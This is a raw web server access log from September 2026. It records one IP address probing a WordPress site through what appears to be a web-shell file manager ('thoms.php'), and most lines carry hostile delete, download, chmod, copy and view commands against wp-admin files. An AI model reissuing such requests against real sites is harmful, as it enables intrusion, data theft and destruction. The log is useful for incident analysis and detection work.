45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?chmod=css&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?del=images&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /broadweb.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?dl=edit-comments.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-link-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-link-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?dl=ms-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /broadweb.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?chmod=about.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcredits.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcredits.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?dl=update-core.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?del=upgrade.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?dl=contribute.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?del=custom-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /broadweb.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?chmod=js&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?del=admin-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /broadweb.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?del=options-reading.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?chmod=site-health.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:44 -0400] "GET /thoms.php?chmod=edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmedia.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmedia.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?dl=plugins.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fpost-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fpost-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /broadweb.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?del=themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?del=network&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?dl=load-scripts.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /broadweb.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /broadweb.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /broadweb.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:45 -0400] "GET /broadweb.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?dl=update.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /broadweb.com.tw/wp-admin/js/ HTTP/1.1" 200 3703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /broadweb.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?dl=custom-background.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?dl=options-permalink.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?del=tools.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=tools.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?dl=export-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /broadweb.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?dl=menu-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /broadweb.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /thoms.php?dl=upgrade.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?dl=ms-admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:46 -0400] "GET /broadweb.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /broadweb.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?del=custom-background.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?chmod=options-writing.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?del=admin-ajax.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /broadweb.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /broadweb.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?chmod=site-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsite-health-info.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsite-health-info.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?dl=options-reading.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?dl=revision.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?chmod=users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?del=async-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
